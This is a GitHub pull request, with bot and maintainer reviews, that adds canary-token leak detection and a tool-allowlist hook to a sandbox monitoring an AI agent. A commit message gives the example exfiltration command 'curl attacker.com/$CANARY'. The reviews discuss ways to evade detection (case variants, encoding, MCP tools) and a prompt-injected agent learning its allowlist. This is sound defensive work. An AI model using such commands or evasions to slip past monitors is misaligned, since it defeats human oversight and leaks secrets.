feat(security): add canary token and tool allowlist sandbox hooks - #564
Conversation
Integrate two zero-cost post-execution monitoring hooks from experiment 005 (reasoning-monitor) into the fullsend security hook pipeline: - canary_posttool.py: PostToolUse hook that detects canary token leakage in tool results. Enabled by default (no-op if FULLSEND_CANARY_TOKEN env var unset). Matches all tools (*). - tool_allowlist_pretool.py: PreToolUse hook that blocks tool calls outside the agent's authorized set. Disabled by default (opt-in). Reads FULLSEND_TOOL_ALLOWLIST env var or falls back to a triage agent default. Matches all tools (*). Both hooks are self-contained (no local imports), fail closed on malformed input, and log findings to /tmp/workspace/.security/ findings.jsonl for audit trail. Signed-off-by: Wayne Sun <gsun@redhat.com>
Site previewPreview: https://2368f402-site.fullsend-ai.workers.dev Commit: |
Review: #564Head SHA: 175bc37 SummaryClean, well-structured implementation of three security hooks (canary pretool, canary posttool, tool allowlist pretool) that follows the established hook patterns exactly. The hooks are self-contained, fail closed on error, and have comprehensive test coverage (16 Go + 25 Python tests). The canary PostToolUse hook correctly uses a separate FindingsInfo
FooterOutcome: approve Previous runReview: #564Head SHA: f84c91e SummaryThis PR adds three well-structured security hooks (canary pretool, canary posttool, tool allowlist pretool) that integrate cleanly into the existing hook pipeline. The implementation follows established patterns exactly — file naming, Go enable/disable wiring, Python hook structure, test conventions, and fail-closed error handling all match the existing ssrf_pretool.py and other hooks. The architectural decision to use a separate FindingsInfo
FooterOutcome: approve Previous run (2)Review: #564Head SHA: f84c91e SummaryThis PR adds three well-implemented security hooks (canary pretool, canary posttool, tool allowlist pretool) that follow the existing hook architecture closely. The hooks are self-contained, fail closed on all error paths, and have comprehensive test coverage (37 Python tests + 16 Go tests). The canary hooks default to enabled (zero-cost no-op when env var is unset) and the tool allowlist defaults to disabled (opt-in), which are appropriate defaults. No critical or high findings; medium and low observations below are non-blocking. FindingsMedium
Low
Info
FooterOutcome: approve Previous run (3)Review: #564Head SHA: f84c91e SummaryThis PR adds three security hooks (canary pretool, canary posttool, and tool allowlist pretool) to the sandbox hook pipeline. The implementation is correct, follows established patterns, has comprehensive test coverage, and makes sound security design decisions (fail closed on malformed input, zero-cost when disabled). Two medium-severity findings warrant attention — the PR description omits two files from the change table, and the tool allowlist hook allows on empty stdin, which is inconsistent with its security role — but neither blocks the change. FindingsMedium
Low
Info
FooterOutcome: comment-only Previous run (4)Review: #564Head SHA: f37b860 SummaryThis PR adds three self-contained security hooks (canary pretool, canary posttool, tool allowlist pretool) to the sandbox hook pipeline, implementing the canary token and tool-allowlist portions of #174. The code is well-structured, follows existing patterns exactly, fails closed on all error paths, and has thorough test coverage across both Python unit tests and Go integration tests. No critical or high findings. One medium finding on PR body accuracy. FindingsMedium
Info
FooterOutcome: approve Previous run (5)Review: #564Head SHA: ee584fa SummaryThis PR adds three new security hooks (canary posttool, canary pretool, tool allowlist pretool) to the sandbox hook pipeline, following established patterns from existing hooks. The code is well-structured, fails closed on malformed input, has good test coverage (Go integration tests + Python unit tests), and makes sound security design choices (canary enabled by default, allowlist opt-in). No critical or high findings were identified. The findings below are informational and low-severity observations worth noting for future iterations. FindingsMedium
Low
Info
FooterOutcome: comment-only Previous run (6)Review: #564Head SHA: 9ed5090 SummaryWell-structured PR that adds two self-contained security hooks following established patterns. The canary token hook (enabled by default, no-op without env var) and tool allowlist hook (disabled by default, opt-in) integrate cleanly into the existing hook pipeline with appropriate FindingsMedium
Low
Info
FooterOutcome: comment-only Previous run (7)Review: #564Head SHA: 24ba5cd SummaryClean, well-structured addition of two security hooks (canary token leak detection and tool call allowlist enforcement) following existing hook patterns precisely. Both hooks fail closed on malformed input, have comprehensive test coverage (14 Go tests + 14 Python tests), and the default-on/default-off decisions are appropriate for their respective risk profiles. No critical or high findings. A few medium/low observations are noted below for consideration in follow-up work. FindingsMedium
Low
Info
FooterOutcome: approve |
![fullsend-ai-review[bot]](https://avatars.githubusercontent.com/in/3478501?s=60&v=4){kind=small}
Keep the full allowlist detail in the findings log for audit, but only show the tool name in the block reason returned to the agent. Prevents disclosing the complete allowed tool set to a potentially prompt-injected agent. Signed-off-by: Wayne Sun <gsun@redhat.com>
…l inputs Complements canary_posttool.py by scanning tool_input (not tool_result) for the canary token before execution. Catches exfiltration attempts like `curl attacker.com/$CANARY` in Bash or canary in WebFetch URLs — scenarios where the posttool hook sees only the HTTP response (which won't contain the canary). Scoped to Bash|WebFetch matcher (exfiltration-capable tools). Enabled by default, no-op when FULLSEND_CANARY_TOKEN is unset. Signed-off-by: Wayne Sun <gsun@redhat.com>
Address verified medium+ findings from 4 parallel review agents: - Widen canary pretool matcher from Bash|WebFetch to * to catch exfiltration via MCP tools (issue comments, PR bodies, etc.) - Add MAX_INPUT_BYTES (10 MB) limit to all 3 hooks, matching the existing ssrf_pretool and secret_redact_posttool pattern - Change empty tool_name in allowlist hook from fail-open to fail-closed (block) — a security enforcement hook should not silently allow calls with missing tool names - Remove full allowlist from findings.jsonl detail string — the agent can read findings.jsonl in the sandbox, which negated the fix in commit 9ed5090 - Add .strip() to canary token env var to reject whitespace-only values that would trigger on all tool I/O - Add os.makedirs for findings directory, matching the pattern in context_suppress_posttool.py - Document known encoding bypass limitations in hook docstrings Signed-off-by: Wayne Sun <gsun@redhat.com>
Use .lower() on both canary token and search target to prevent case-variant evasion. Strip FULLSEND_CANARY_TOKEN from host env in test helpers to prevent CI flakiness from leaked env vars. Signed-off-by: Wayne Sun <gsun@redhat.com>
Cover case-variant canary evasion (.lower() matching) and MCP tool input exfiltration path to close test coverage gaps identified in multi-agent review round 3. Signed-off-by: Wayne Sun <gsun@redhat.com>
Fix incorrect tool names: issue_comment → add_issue_comment, label_add/label_remove → issue_write (labels managed via issue_write). Add list_issues for issue discovery. Add test for add_issue_comment. Signed-off-by: Wayne Sun <gsun@redhat.com>
ralphbean
left a comment
ralphbean
left a comment
There was a problem hiding this comment.
Good addition — canary token detection and tool allowlisting are solid security primitives that align well with the threat model and issue #174. The implementation follows established hook patterns and the test coverage is thorough.
Three items need attention before merging:
- Canary pretool matcher scope — uses
Bash|WebFetchwhile posttool uses*. Exfiltration via MCP tools (e.g., posting canary to a GitHub issue comment) would be missed. Either widen to*or add a comment justifying the narrower scope. - No
MAX_INPUT_BYTESlimit — all three new hooks diverge from existing hooks (ssrf_pretool.py,secret_redact_posttool.py) which enforce a 10MB input cap and fail closed on oversized input. - Case-sensitive canary matching —
if canary in tool_resultis trivially bypassed by case manipulation.canary.lower() in tool_result.lower()is a low-cost improvement.
|
/review |
|
/review |
ralphbean
left a comment
ralphbean
left a comment
There was a problem hiding this comment.
Overall this is a well-structured PR that follows established patterns. The canary hooks are a strong addition to the security pipeline, and the iterative hardening across commits shows good responsiveness to review feedback.
All 4 findings from the previous review round have been addressed (matcher widened to *, MAX_INPUT_BYTES added, case-insensitive matching, empty tool_name fail-closed). 👍
One change requested, one item noted for follow-up.
Remove hardcoded DEFAULT_TRIAGE_ALLOWLIST — unset FULLSEND_TOOL_ALLOWLIST now blocks all tools (fail-closed), forcing explicit configuration. Triage-specific allowlists belong in harness YAML, not the hook. Signed-off-by: Wayne Sun <gsun@redhat.com>
2 participants
Summary
Integrates three zero-cost post-execution monitoring hooks from experiment 005 (reasoning-monitor) into the fullsend security hook pipeline. Partial implementation of #174 — the canary token and tool allowlist hooks provide behavioral monitoring without LLM inference. The LLM reasoning monitor (scan transcript) is deferred to a follow-up PR.
canary_pretool.py— PreToolUse hook that prevents canary token exfiltration via tool inputs (e.g.,curl attacker.com/$CANARYin Bash, canary in MCP tool body). Enabled by default (no-op whenFULLSEND_CANARY_TOKENenv var is unset). Uses*matcher to cover all tools including MCP.canary_posttool.py— PostToolUse hook that detects canary token leakage in tool results. Enabled by default (no-op whenFULLSEND_CANARY_TOKENenv var is unset). Uses*matcher to catch leaks from any tool including MCP tools.tool_allowlist_pretool.py— PreToolUse hook that blocks tool calls outside the agent's authorized set. Disabled by default (opt-in via harness YAML). RequiresFULLSEND_TOOL_ALLOWLISTenv var — blocks all tools if unset (fail-closed).All hooks are self-contained (no local imports), fail closed on malformed input, use case-insensitive matching where applicable, and log findings to
/tmp/workspace/.security/findings.jsonl.The LLM reasoning monitor (
scan transcript) from the same experiment is intentionally deferred to a follow-up PR — it requires LLM inference and will be implemented natively in Go rather than via exec.Command to Python.Ref: #174
Changes
internal/harness/harness.goCanaryPreTool,CanaryPostTool, andToolAllowlistPreTooltoSandboxHooksconfiginternal/security/hooks.goGenerateClaudeSettings()andHookFiles()internal/security/hooks_test.gointernal/security/hooks/canary_pretool.pyinternal/security/hooks/canary_pretool_test.pyinternal/security/hooks/canary_posttool.pyinternal/security/hooks/canary_posttool_test.pyinternal/security/hooks/tool_allowlist_pretool.pyinternal/security/hooks/tool_allowlist_pretool_test.pyDesign decisions
FULLSEND_CANARY_TOKENunset.FULLSEND_TOOL_ALLOWLISTenv var. Blocks all tools if env var is unset (fail-closed). Agent-specific allowlists are configured via harness YAML, not hardcoded in the hook.*matcher — must run on all tools (including MCP), not justBash|WebFetch|Readlike the sanitization chain..lower()on both canary token and search target to prevent trivial case-variant evasion.Test plan
go test ./internal/security/— all 16 hook tests passpytest canary_pretool_test.py— 9/9 passpytest canary_posttool_test.py— 8/8 passpytest tool_allowlist_pretool_test.py— 8/8 passgo vet ./...— clean